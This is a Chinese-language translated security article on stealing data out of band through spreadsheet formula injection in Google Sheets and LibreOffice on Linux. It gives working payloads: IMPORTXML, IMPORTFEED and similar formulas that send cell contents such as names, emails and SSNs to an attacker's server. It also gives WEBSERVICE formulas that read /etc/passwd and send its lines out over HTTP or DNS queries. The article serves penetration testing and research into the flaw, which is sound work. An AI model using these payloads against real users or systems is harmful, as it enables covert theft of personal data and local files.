Tag

帶外

Browsing

原標題:使用帶外資料(OOB)從電子表格獲取資料

最近的客戶端滲透測試,讓我們對使用帶外資料(OOB)從電子表格竊取資料的方法頗感興趣。在本文中我們假設,我們對電子表格有一定的控制權限(雖然有限),而對整個文件或客戶端(目標)系統幾乎沒有任何的訪問許可權。

我們粗略的瞭解了下LibreOffice和Google Sheets,併爲它們分別提供了一些PoC。我們特別關注非基於Windows的應用程式,因為在這一領域我們已經做了大量的工作,並且為此積攢了大量的實操經驗。

在這篇文章中,我們概述了來自NotSoSecure團隊的Ajay (@9r4shar4j4y) 和 Balaji (@iambalaji7)所進行的研究。以下PoC可能允許我們使用相對簡單的內建功能來竊取潛在的敏感資訊,甚至可以在各個客戶端系統上讀取檔案內容。

好了話不多說,讓我們開始吧~

Google Sheets OOB資料竊取

如果我們想要獲取實時資料,那麼基於雲的資料捕獲將會是最好的選擇。這是因為與基於客戶端的攻擊不同,我們能夠快速連續地在表單中填充資料並實時的接收響應。

攻擊場景可能會有很大不同,這取決於你能得到什麼。如果你能夠建立/上傳CSV檔案或類似的其他檔案到目標系統上,那麼你成功利用的機率就會越大。

首先,讓我來為大家介紹一些非常有意思的功能。

CONCATENATE:追加字串。

=CONCATENATE(A2:E2)

IMPORTXML:從各種結構化資料型別(包括XML,HTML,CSV,TSV以及RSS和ATOM XML Feed)匯入資料。

=IMPORTXML(CONCAT(“http://[remote IP:Port]/123.txt?v=”, CONCATENATE(A2:E2)), “//a/a10”)

IMPORTFEED:匯入RSS或ATOM feed。

=IMPORTFEED(CONCAT(“http://[remote IP:Port]//123.txt?v=”, CONCATENATE(A2:E2)))

IMPORTHTML:從HTML頁面中的表或列表匯入資料。

=IMPORTHTML (CONCAT(“http://[remote IP:Port]/123.txt?v=”, CONCATENATE(A2:E2)),”table”,1)

IMPORTRANGE:從指定的電子表格匯入一系列單元格。

=IMPORTRANGE(“https://docs.google.com/spreadsheets/d/[Sheet_Id]”, “sheet1!A2:E2”)

IMAGE:將影象插入單元格。

=IMAGE(“https://[remote IP:Port]/images/srpr/logo3w.png”) 資料竊取

基於Google文件的電子表格功能,即上述功能可能成為帶外資料竊取的最佳途徑和選擇。

場景1 [失敗]:這是一個失敗的PoC演示,之所以包括這部分是希望大家能夠從我們的失敗經歷中,學習到更多的知識。只有經歷過失敗,纔會更覺成功的甜蜜。

Google提供了建立表單和接收響應的功能,後續我們可以使用Google sheets訪問這些功能。我們試圖通過在Google表單的評論部分提交惡意公式來進行利用。但Google對提交的響應進行了完整性檢查,並自動在公式前新增(’)撇號,阻止公式執行。

使用帶外資料(OOB)從電子表格獲取資料

場景2 [成功]:Google sheets還提供了一些功能,允許我們從不同的檔案格式匯入資料,如CSV、TSV、XLSX等。匯入的資料可以使用新電子表格來表示,也可以附加到現有表單中。對於我們的PoC,我們會將其附加到包含前一場景響應的表單中,以便我們可以提取其他使用者提交的資料。幸運的是,Google沒有像在場景1中那樣,執行相同的檢查。使用了以下步驟。

1)我們建立了一個帶有payload(公式)的惡意csv檔案,該檔案將連線A到D列的資料。 然後,我們使用這些詳細資訊為攻擊者伺服器生成帶外請求。

使用帶外資料(OOB)從電子表格獲取資料

2)然後,我們使用匯入功能將csv檔案匯入Google表格,並將資料附加到現有工作表中。

使用帶外資料(OOB)從電子表格獲取資料

3)一旦匯入資料,我們的payload就會執行,我們就可以在HTTP伺服器上收聽使用者的詳細資訊,例如姓名,電子郵件和SSN資料。

使用帶外資料(OOB)從電子表格獲取資料

在Linux環境中讀取LibreOffice OS檔案

本節重點介紹如何在Linux環境中利用CSV注入。許多部落格已經發布了PoC和其他類似的工具,這些工具涉及利用Excel中的DDE,但很少涉及Linux環境中的辦公應用程式。這是可以理解的,因為Linux桌面普及程度遠遠低於Windows同類產品,而且我們知道,攻擊者總會把目光瞄向最廣泛和最有利可圖的地方。

在本文中我們會使用一些簡單的,但非常有趣的可以在Linux目標上利用的攻擊公式。

payload已在下列環境中成功測試:

Ubuntu 16.04 LTS and LibreOffice 5.1.6.2

Ubuntu 18.04 LTS and LibreOffice 6.0.3.2

我們首先嚐試使用我們的本地訪問通過公式讀取敏感檔案。 LibreOffice提供使用「file」協議讀取檔案。從本地/etc/passwd檔案中檢索單行的初始PoC已建立,並在下面詳細介紹。

Payload 1:

=’file:///etc/passwd’#$passwd.A1

使用帶外資料(OOB)從電子表格獲取資料

分析上述payload:

  • ‘file:///etc/passwd’#$passwd.A1 – 將讀取本地/etc/passwd檔案中第一行的內容。

有趣的是,似乎還可以使用http://代替 file:///

需要注意的是,在初次匯入時,系統會提示使用者執行如下截圖所示的操作(在本例中顯示/etc/group的輸出)。

使用帶外資料(OOB)從電子表格獲取資料

匯入後,每當文件重新開啟時,都會提示使用者更新連結。

使用帶外資料(OOB)從電子表格獲取資料

順便提一下,通過更改行參考(在本例中為A2),我們可以從檔案中讀取更多條目。

使用帶外資料(OOB)從電子表格獲取資料

這一切都很順利,但我們需要一種方法來檢視來自遠端系統的檔案內容(我們不會在LibreOffice應用程式中檢視這些結果!)

這導致我們需要檢視WEBSERVICE功能。實質上,我們可以使用此函式連線到我們控制的遠端系統,然後傳送對從本地/etc/passwd檔案中提取的資料的請求。顯然,這些檔案不會存在於攻擊主機上,但GET請求將包含所有的資訊,並且可以通過攻擊主機上的日誌或控制檯輸出。

為此,我們構造出了以下PoC。

Payload 2:

=WEBSERVICE(CONCATENATE(“http://:8080/”,(‘file:///etc/passwd’#$passwd.A1)))

使用帶外資料(OOB)從電子表格獲取資料

分析上述payload:

‘file:///etc/passwd’#$passwd.A1 – 將讀取本地/etc/passwd檔案中第一行的內容

CONCATENATE(「http://:8080」,(‘file:///etc/passwd’#$passwd.A1)) – 連線IP地址並輸出’file’

WEBSERVICE – 將向我們的攻擊主機發送針對給定URI的請求

我們的攻擊系統執行了Python的SimpleHTTPServer,當惡意檔案在受害者系統上開啟時,請求就會被我們的伺服器接收並接收。

使用帶外資料(OOB)從電子表格獲取資料

同樣,我們建立了幾個paylaod來讀取目標檔案。如果空間不是問題,只需確保最後一個引用(即#$passwd.A1)設定為每行增加一行,就可以通過在單個文件中嵌入多行來輕鬆實現此任務。以下PoC將提取併發送目標檔案/etc/passwd中的前30行。

使用帶外資料(OOB)從電子表格獲取資料

但是,實現相同目標的更簡潔的方法是在單個公式中引用多行,如下所示。

在執行下面的payload時,來自/etc/passwd檔案的2行被髮送到攻擊伺服器。

Payload 3:

=WEBSERVICE(CONCATENATE(“http://:8080/”,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2)))

使用帶外資料(OOB)從電子表格獲取資料

分析上述payload:

‘file:///etc/passwd’#$passwd.AX – 將讀取本地/etc/passwd檔案中第一行和第二行的內容

CONCATENATE(「http://:8080/」,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2)) – 將攻擊伺服器IP地址與/etc/passwd第1行和第2行(檔案中的第2行)的輸出連線起來,每個行都用dollar($)符

WEBSERVICE – 將向我們的攻擊主機發送針對給定URI的請求

檢視攻擊主機,我們可以在GET請求中看到/etc/passwd中的相應條目,在這個例項中由$字元(CHAR 36)分隔。

使用帶外資料(OOB)從電子表格獲取資料

根據檔案內容的不同,我們可能會遇到有關長度(https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers)和特殊字元導致失敗的情況,因此在這方面一定要引起注意!

在下面的這個PoC中,我們很好的解決了上面提到的這兩個問題。

Payload 4:

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.”))

使用帶外資料(OOB)從電子表格獲取資料

分析上述payload:

‘file:///etc/passwd’#$passwd.A19 – 將從本地/ etc / passwd檔案中讀取第19行

ENCODEURL(’file:///etc/passwd’#$passwd.A19) – 對返回的資料進行URL編碼

MID((ENCODEURL(’file:///etc/passwd’#$passwd.A19)),1,41) – 與子字串類似,從第1個字元讀取資料到第41個字元 – 一種非常方便的方式來限制DNS的長度主機名(FQDN上的254個字元限制和一個標籤的63個字元,即子域)

SUBSTITUTE(MID((ENCODEURL(’file:///etc/passwd’#$passwd.A19)),1,41),「%」,「 – 」) – 替換%(URL中的特殊字元編碼)與破折號 – 這是確保只有有效的DNS字元被使用

CONCATENATE((SUBSTITUTE(MID((ENCODEURL(’檔案:///etc/passwd’#$passwd.A19)),1,41),」%」,」 – ‘)),’。」) – 將檔案的輸出(經過上述處理後)與FQDN(我們可以訪問域的權威主機)連線起來,

WEBSERVICE – 將請求這個不存在的DNS名稱,然後我們可以在我們控制的DNS權威名稱伺服器上解析日誌(或執行tcpdump等)

在傳送此訊息時,我們可以通過我們伺服器上的tcpdump來檢視FQDN(包括來自/etc/passwd的第19行的編碼資料)的查詢,該伺服器被配置為該域的權威伺服器,如下所示。

使用帶外資料(OOB)從電子表格獲取資料

*參考來源:notsosecureFB小編 secist 編譯,轉載請註明來自FreeBuf.COM返回搜狐,檢視更多

責任編輯: